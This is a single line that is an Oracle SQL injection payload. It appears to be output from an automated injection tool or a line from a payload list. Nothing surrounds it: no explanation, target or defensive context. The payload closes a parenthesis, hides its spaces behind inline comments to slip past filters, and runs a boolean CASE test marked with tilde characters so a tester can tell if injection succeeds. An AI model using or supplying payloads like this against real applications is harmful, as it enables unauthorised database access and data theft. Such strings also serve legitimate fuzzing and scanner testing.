1) AND AND/**/5521=(SELECT/**/UPPER(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(5521=5521)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126))/**/FROM/**/DUAL/**/WHERE/**/DBMS_RANDOM.VALUE(8821,10438)=1254)-- -